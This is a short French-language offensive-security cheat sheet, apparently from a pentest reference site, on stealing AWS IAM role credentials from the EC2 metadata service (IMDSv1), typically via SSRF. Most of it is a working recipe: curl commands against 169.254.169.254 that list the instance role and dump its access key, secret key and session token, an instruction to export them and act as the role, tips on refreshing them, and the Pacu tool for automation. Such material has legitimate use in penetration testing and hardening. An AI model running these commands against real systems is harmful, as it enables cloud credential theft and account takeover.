IMDSv1 répond à un simple GET sans jeton, sans en-tête, sans authentification. Toute requête qui atteint 169.254.169.254 depuis l'instance reçoit en retour les credentials du rôle, c'est pourquoi IMDSv1 associé à un SSRF est le vol de credentials cloud classique.
Lire les credentials du rôle#
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
# -> AccessKeyId / SecretAccessKey / Token / Expiration
Exportez les trois valeurs (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) et vous êtes désormais le rôle de l'instance.
Notes d'exploitation#
- Les credentials sont temporaires ; relisez-les avant expiration pour les rafraîchir.
- IMDSv1 est un simple GET, il est donc atteignable par des primitives SSRF qui ne peuvent pas définir d'en-têtes de requête, contrairement à IMDSv2.
- Le même rôle est atteignable depuis une instance EC2 passée que vous avez lancée vous-même.
Outils#
- curl sur l'instance, ou toute primitive de requête qui atteint l'adresse link-local.
- Pacu (
ec2__metadata) : récupération automatisée depuis un shell.